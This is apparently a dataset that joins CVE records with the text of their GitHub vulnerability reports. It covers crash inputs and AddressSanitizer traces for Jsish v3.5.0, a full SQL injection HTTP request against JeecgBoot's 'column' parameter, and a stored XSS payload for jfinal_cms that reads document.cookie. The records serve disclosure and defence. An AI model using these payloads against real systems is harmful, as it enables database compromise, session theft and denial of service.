#0 0x7ff56f37bd28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x55803d2fbaa4 in Jsi_Calloc src/jsiUtils.c:57
SUMMARY: AddressSanitizer: heap-buffer-overflow src/jsiNumber.c:93 in NumberConstructor
Shadow bytes around the buggy address:
0x0c087fffb110: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 00
0x0c087fffb120: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
0x0c087fffb130: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
0x0c087fffb140: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 07
0x0c087fffb150: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fa
=>0x0c087fffb160: fa fa 00 00 00 00 00 07[fa]fa 00 00 00 00 00 00
0x0c087fffb170: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
0x0c087fffb180: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
0x0c087fffb190: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
0x0c087fffb1a0: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fa
0x0c087fffb1b0: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
```
Credits: Found by OWL337 team. | Heap-buffer-overflow src/jsiNumber.c:93 in NumberConstructor | https://api.github.com/repos/pcmacdon/jsish/issues/66/comments | 0 | 2021-12-24T10:35:07Z | 2022-01-12T02:14:08Z | https://github.com/pcmacdon/jsish/issues/66 | 1,088,304,812 | 66 |
CVE-2021-46483 | 2022-01-25T01:15:08.090 | Jsish v3.5.0 was discovered to contain a heap buffer overflow via BooleanConstructor at src/jsiBool.c. | {
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"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/pcmacdon/jsish/issues/62 | [
"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
function JSEtest(val)
{
Boolean.bind(a)();
if (val < 3)
return true;
else
return false;
}
var arr = new Array(10);
arr[1] = 1;
Array.prototype.unshift(arr.every(JSEtest), true, 'test');
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
=====ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6040000188c0 at pc 0x55dff29d9510 bp 0x7ffc8e20b280 sp 0x7ffc8e20b270
WRITE of size 4 at 0x6040000188c0 thread T0
#0 0x55dff29d950f in BooleanConstructor src/jsiBool.c:17
#1 0x55dff29af818 in jsi_FuncCallSub src/jsiProto.c:244
#2 0x55dff292cfec in jsi_FunctionInvoke src/jsiFunc.c:777
#3 0x55dff292cfec in Jsi_FunctionInvoke src/jsiFunc.c:789
#4 0x55dff29a8ad6 in jsi_FuncBindCall src/jsiProto.c:299
#5 0x55dff29af818 in jsi_FuncCallSub src/jsiProto.c:244
#6 0x55dff2c7971a in jsiFunctionSubCall src/jsiEval.c:796
#7 0x55dff2c7971a in jsiEvalFunction src/jsiEval.c:837
#8 0x55dff2c7971a in jsiEvalCodeSub src/jsiEval.c:1264
#9 0x55dff2c8d15e in jsi_evalcode src/jsiEval.c:2204
#10 0x55dff29b0834 in jsi_FuncCallSub src/jsiProto.c:220
#11 0x55dff292cfec in jsi_FunctionInvoke src/jsiFunc.c:777
#12 0x55dff292cfec in Jsi_FunctionInvoke src/jsiFunc.c:789
#13 0x55dff29f3f64 in jsi_ArrayFindSubCmd src/jsiArray.c:576
#14 0x55dff29f3f64 in jsi_ArrayEveryCmd src/jsiArray.c:663
#15 0x55dff29af818 in jsi_FuncCallSub src/jsiProto.c:244
#16 0x55dff2c7971a in jsiFunctionSubCall src/jsiEval.c:796
#17 0x55dff2c7971a in jsiEvalFunction src/jsiEval.c:837
#18 0x55dff2c7971a in jsiEvalCodeSub src/jsiEval.c:1264
#19 0x55dff2c8d15e in jsi_evalcode src/jsiEval.c:2204
#20 0x55dff2c91274 in jsi_evalStrFile src/jsiEval.c:2665
#21 0x55dff298066a in Jsi_Main src/jsiInterp.c:936
#22 0x55dff318503a in jsi_main src/main.c:47
#23 0x7fb189dc7bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#24 0x55dff2914969 in _start (/usr/local/bin/jsish+0xe8969)
0x6040000188c0 is located 6 bytes to the right of 42-byte region [0x604000018890,0x6040000188ba)
allocated by thread T0 here:
#0 0x7fb18aa36d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x55dff2985aa4 in Jsi_Calloc src/jsiUtils.c:57
SUMMARY: AddressSanitizer: heap-buffer-overflow src/jsiBool.c:17 in BooleanConstructor
Shadow bytes around the buggy address:
0x0c087fffb0c0: fa fa 00 00 00 00 00 06 fa fa 00 00 00 00 00 00
0x0c087fffb0d0: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 00
0x0c087fffb0e0: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 fa
0x0c087fffb0f0: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fa
0x0c087fffb100: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
=>0x0c087fffb110: fa fa 00 00 00 00 00 02[fa]fa 00 00 00 00 00 00
0x0c087fffb120: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
0x0c087fffb130: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
0x0c087fffb140: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
0x0c087fffb150: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
0x0c087fffb160: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
```
Credits: Found by OWL337 team. | Heap-buffer-overflow src/jsiBool.c:17 in BooleanConstructor | https://api.github.com/repos/pcmacdon/jsish/issues/62/comments | 0 | 2021-12-24T10:31:27Z | 2022-01-12T02:13:25Z | https://github.com/pcmacdon/jsish/issues/62 | 1,088,303,083 | 62 |
CVE-2021-46089 | 2022-01-25T15:15:08.203 | In JeecgBoot 3.0, there is a SQL injection vulnerability that can operate the database with root privileges. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "COMPLETE",
"baseScore": 10,
"confidentialityImpact": "COMPLETE",
"integrityImpact": "COMPLETE",
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 10,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/jeecgboot/jeecg-boot/issues/3331"
}
] | [
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] | https://github.com/jeecgboot/jeecg-boot/issues/3331 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"jeecgboot",
"jeecg-boot"
] | ##### version: <=3.0
##### precondition: After logged in the website,click 流程管理 proxy burp,the parameter "column" can be made SQL injection.
##### Screenshot & code :
<img width="1240" alt="图片" src="https://user-images.githubusercontent.com/25843151/147641725-71a3c7a3-c4d4-41f8-af76-b875641e2cbf.png">
poc:
```GET /act/process/extActExpression/list?_t=1637890565&column=extractvalue(1,concat(char(126),user()))&order=desc&field=id,,,name,expression,action&pageNo=1&pageSize=10 HTTP/1.1
Host: api.boot.jeecg.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Sign: 7AE7A7990565A3187D8CE30725C82718
X-Timestamp: 20211229152402
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDA3NjI2NTMsInVzZXJuYW1lIjoiamVlY2cifQ.SX0HjEOmrGFDZt-oNUUOlTNYn9ftCOmhQIOgED9HZRM
Tenant-Id: 2
Origin: http://boot.jeecg.com
Referer: http://boot.jeecg.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Te: trailers
Connection: close
```
| There is an SQL injection vulnerability that can operate the database with root privileges. | https://api.github.com/repos/jeecgboot/JeecgBoot/issues/3331/comments | 3 | 2021-12-29T08:36:51Z | 2022-01-21T02:04:30Z | https://github.com/jeecgboot/JeecgBoot/issues/3331 | 1,090,357,318 | 3,331 |
CVE-2021-46087 | 2022-01-25T16:15:09.013 | In jfinal_cms >= 5.1 0, there is a storage XSS vulnerability in the background system of CMS. Because developers do not filter the parameters submitted by the user input form, any user with background permission can affect the system security by entering malicious code. | {
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{
"acInsufInfo": false,
"baseSeverity": "LOW",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"availabilityImpact": "NONE",
"baseScore": 3.5,
"confidentialityImpact": "NONE",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N",
"version": "2.0"
},
"exploitabilityScore": 6.8,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
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"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/jflyfox/jfinal_cms/issues/19"
}
] | [
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] | https://github.com/jflyfox/jfinal_cms/issues/19 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"jflyfox",
"jfinal_cms"
] | There is a storage XSS vulnerability in the modification of jfinal_CMS user's personal information. The attacker can insert malicious XSS code into the modification of personal information, and then successfully trigger XSS attack when the administrator user views the user's personal information.
First, register a user test, then enter the personal information page, insert the malicious XSS attack code in the remarks:
payload:
`"><img src=x onerror=alert(document.cookie);><"`
Then use the administrator account to view the user information:
Successfully triggered malicious XSS Code:
Safety advice: strictly filter the user's input
| A Stored XSS vulnerability exists in jfinal_cms v5.1.0 | https://api.github.com/repos/jflyfox/jfinal_cms/issues/19/comments | 1 | 2020-06-03T14:27:59Z | 2021-06-15T03:31:10Z | https://github.com/jflyfox/jfinal_cms/issues/19 | 630,044,323 | 19 |
CVE-2021-46484 | 2022-01-27T21:15:08.343 | Jsish v3.5.0 was discovered to contain a heap-use-after-free via Jsi_IncrRefCount in src/jsiValue.c. This vulnerability can lead to a Denial of Service (DoS). | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
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"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
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"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/pcmacdon/jsish/issues/73"
}
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case1
```javascript
function JSEtest(assert)
{
(arr.concat([]), false, 'JSEtest');
}
var arr = /x?y?z?/.exec("abcd");
arr[arr[arr['JSEtest'[arr[1000] = 3]] = 3] = 3](arr.every(JSEtest), false, 'JSEtest');
```
###### Test case2
```javascript
var list = [
'aa',
'bb',
'cc',
'dd',
'hhh',
'mm',
'nn'
];
'sort:' + list.sort(function (_str, position) {
var s = 'sort:' + list.sort(function (str, position) {
var s = 'shift:' + list.shift();
}) + list.shift();
});
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
==114358==ERROR: AddressSanitizer: heap-use-after-free on address 0x603000007060 at pc 0x556541bb6a68 bp 0x7ffd4e8abbc0 sp 0x7ffd4e8abbb0
READ of size 4 at 0x603000007060 thread T0
#0 0x556541bb6a67 in Jsi_IncrRefCount src/jsiValue.c:34
#1 0x556541d0aab5 in Jsi_ObjNewArray src/jsiObj.c:480
#2 0x556541c75f14 in jsi_ArrayFindSubCmd src/jsiArray.c:573
#3 0x556541c75f14 in jsi_ArrayEveryCmd src/jsiArray.c:663
#4 0x556541c31818 in jsi_FuncCallSub src/jsiProto.c:244
#5 0x556541efb71a in jsiFunctionSubCall src/jsiEval.c:796
#6 0x556541efb71a in jsiEvalFunction src/jsiEval.c:837
#7 0x556541efb71a in jsiEvalCodeSub src/jsiEval.c:1264
#8 0x556541f0f15e in jsi_evalcode src/jsiEval.c:2204
#9 0x556541f13274 in jsi_evalStrFile src/jsiEval.c:2665
#10 0x556541c0266a in Jsi_Main src/jsiInterp.c:936
#11 0x55654240703a in jsi_main src/main.c:47
#12 0x7f7e9588dbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#13 0x556541b96969 in _start (/usr/local/bin/jsish+0xe8969)
0x603000007060 is located 0 bytes inside of 32-byte region [0x603000007060,0x603000007080)
freed by thread T0 here:
#0 0x7f7e964fc7a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8)
#1 0x556541bb76cf in Jsi_DecrRefCount src/jsiValue.c:52
previously allocated by thread T0 here:
#0 0x7f7e964fcd28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x556541c07aa4 in Jsi_Calloc src/jsiUtils.c:57
SUMMARY: AddressSanitizer: heap-use-after-free src/jsiValue.c:34 in Jsi_IncrRefCount
Shadow bytes around the buggy address:
0x0c067fff8db0: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
0x0c067fff8dc0: fd fd fa fa 00 00 04 fa fa fa 00 00 04 fa fa fa
0x0c067fff8dd0: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
0x0c067fff8de0: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
0x0c067fff8df0: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
=>0x0c067fff8e00: fd fd fd fd fa fa 00 00 00 00 fa fa[fd]fd fd fd
0x0c067fff8e10: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
0x0c067fff8e20: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
0x0c067fff8e30: 00 00 00 00 fa fa 00 00 00 00 fa fa fa fa fa fa
0x0c067fff8e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8e50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
```
| Heap-use-after-free src/jsiValue.c:34 in Jsi_IncrRefCount | https://api.github.com/repos/pcmacdon/jsish/issues/73/comments | 1 | 2021-12-24T10:41:10Z | 2021-12-28T03:39:04Z | https://github.com/pcmacdon/jsish/issues/73 | 1,088,307,699 | 73 |
CVE-2021-46485 | 2022-01-27T21:15:08.427 | Jsish v3.5.0 was discovered to contain a SEGV vulnerability via Jsi_ValueIsNumber at src/jsiValue.c. This vulnerability can lead to a Denial of Service (DoS). | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
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"source": "[email protected]",
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}
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"source": "[email protected]",
"tags": [
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"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/pcmacdon/jsish/issues/70"
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] | github.com | [
"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
var JSEtest = new Array(10);
JSEtest[1] = 1;
JSEtest.reduceRight(String.fromCharCode);
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
ASAN:DEADLYSIGNAL
=================================================================
==113736==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x55586e9b4734 bp 0x000000000001 sp 0x7ffdbb663540 T0)
==113736==The signal is caused by a READ memory access.
==113736==Hint: address points to the zero page.
#0 0x55586e9b4733 in Jsi_ValueIsNumber src/jsiValue.c:418
#1 0x55586ea50b7f in StringFromCharCodeCmd src/jsiString.c:286
#2 0x55586ea2c818 in jsi_FuncCallSub src/jsiProto.c:244
#3 0x55586e9a9fec in jsi_FunctionInvoke src/jsiFunc.c:777
#4 0x55586e9a9fec in Jsi_FunctionInvoke src/jsiFunc.c:789
#5 0x55586ea6e851 in jsi_ArrayReduceSubCmd src/jsiArray.c:641
#6 0x55586ea6e851 in jsi_ArrayReduceRightCmd src/jsiArray.c:672
#7 0x55586ea2c818 in jsi_FuncCallSub src/jsiProto.c:244
#8 0x55586ecf671a in jsiFunctionSubCall src/jsiEval.c:796
#9 0x55586ecf671a in jsiEvalFunction src/jsiEval.c:837
#10 0x55586ecf671a in jsiEvalCodeSub src/jsiEval.c:1264
#11 0x55586ed0a15e in jsi_evalcode src/jsiEval.c:2204
#12 0x55586ed0e274 in jsi_evalStrFile src/jsiEval.c:2665
#13 0x55586e9fd66a in Jsi_Main src/jsiInterp.c:936
#14 0x55586f20203a in jsi_main src/main.c:47
#15 0x7ffa096e4bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#16 0x55586e991969 in _start (/usr/local/bin/jsish+0xe8969)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/jsiValue.c:418 in Jsi_ValueIsNumber
```
Credits: Found by OWL337 team.
| SEGV src/jsiValue.c:418 in Jsi_ValueIsNumber | https://api.github.com/repos/pcmacdon/jsish/issues/70/comments | 0 | 2021-12-24T10:38:22Z | 2022-01-12T02:15:00Z | https://github.com/pcmacdon/jsish/issues/70 | 1,088,306,373 | 70 |
CVE-2021-46486 | 2022-01-27T21:15:08.470 | Jsish v3.5.0 was discovered to contain a SEGV vulnerability via jsi_ArraySpliceCmd at src/jsiArray.c. This vulnerability can lead to a Denial of Service (DoS). | {
"cvssMetricV2": [
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"acInsufInfo": false,
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"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
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"exploitabilityScore": 8.6,
"impactScore": 2.9,
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"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
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"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/pcmacdon/jsish/issues/65"
}
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] | https://github.com/pcmacdon/jsish/issues/65 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
var myColors = new Array(99999);
var lastElement = myColors.push('yellow');
myColors.push('yellow');
var firstElement = myColors.shift();
myColors.splice('pink');
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
/poc.js:5: error: invalid number
ASAN:DEADLYSIGNAL
=================================================================
==825==ERROR: AddressSanitizer: SEGV on unknown address 0x60c0000dc4f0 (pc 0x555a355a5e18 bp 0x7ffcd17c49b0 sp 0x7ffcd17c4960 T0)
==825==The signal is caused by a WRITE memory access.
#0 0x555a355a5e17 in jsi_ArraySpliceCmd src/jsiArray.c:1172
#1 0x555a35574818 in jsi_FuncCallSub src/jsiProto.c:244
#2 0x555a3583e71a in jsiFunctionSubCall src/jsiEval.c:796
#3 0x555a3583e71a in jsiEvalFunction src/jsiEval.c:837
#4 0x555a3583e71a in jsiEvalCodeSub src/jsiEval.c:1264
#5 0x555a3585215e in jsi_evalcode src/jsiEval.c:2204
#6 0x555a35856274 in jsi_evalStrFile src/jsiEval.c:2665
#7 0x555a3554566a in Jsi_Main src/jsiInterp.c:936
#8 0x555a35d4a03a in jsi_main src/main.c:47
#9 0x7fb00f1a5bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#10 0x555a354d9969 in _start (/usr/local/bin/jsish+0xe8969)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/jsiArray.c:1172 in jsi_ArraySpliceCmd
```
Credits: Found by OWL337 team. | SEGV src/jsiArray.c:1172 in jsi_ArraySpliceCmd | https://api.github.com/repos/pcmacdon/jsish/issues/65/comments | 1 | 2021-12-24T10:34:07Z | 2022-01-12T02:13:57Z | https://github.com/pcmacdon/jsish/issues/65 | 1,088,304,355 | 65 |
CVE-2021-46487 | 2022-01-27T21:15:08.517 | Jsish v3.5.0 was discovered to contain a SEGV vulnerability via /lib/x86_64-linux-gnu/libc.so.6+0x18e506. This vulnerability can lead to a Denial of Service (DoS). | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
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"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/pcmacdon/jsish/issues/72"
}
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] | https://github.com/pcmacdon/jsish/issues/72 | [
"Exploit",
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"Third Party Advisory"
] | github.com | [
"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
var lastIndexReads;
var result;
var r = /a/g;
function JSEtest(_value) {
r.lastIndex = -Infinity;
lastIndexReads = 0;
}
JSEtest(9);
result = r.exec('abc');
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
ASAN:DEADLYSIGNAL
=================================================================
==119220==ERROR: AddressSanitizer: SEGV on unknown address 0x603f80019c20 (pc 0x7f2d155e4507 bp 0x000000000000 sp 0x7ffd01763808 T0)
==119220==The signal is caused by a READ memory access.
#0 0x7f2d155e4506 (/lib/x86_64-linux-gnu/libc.so.6+0x18e506)
#1 0x7f2d15557743 in regexec (/lib/x86_64-linux-gnu/libc.so.6+0x101743)
#2 0x562082528c68 in jsi_RegExpMatches src/jsiRegexp.c:235
#3 0x56208252a51b in RegexpExecCmd src/jsiRegexp.c:323
#4 0x562082585818 in jsi_FuncCallSub src/jsiProto.c:244
#5 0x56208284f71a in jsiFunctionSubCall src/jsiEval.c:796
#6 0x56208284f71a in jsiEvalFunction src/jsiEval.c:837
#7 0x56208284f71a in jsiEvalCodeSub src/jsiEval.c:1264
#8 0x56208286315e in jsi_evalcode src/jsiEval.c:2204
#9 0x562082867274 in jsi_evalStrFile src/jsiEval.c:2665
#10 0x56208255666a in Jsi_Main src/jsiInterp.c:936
#11 0x562082d5b03a in jsi_main src/main.c:47
#12 0x7f2d15477bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#13 0x5620824ea969 in _start (/usr/local/bin/jsish+0xe8969)
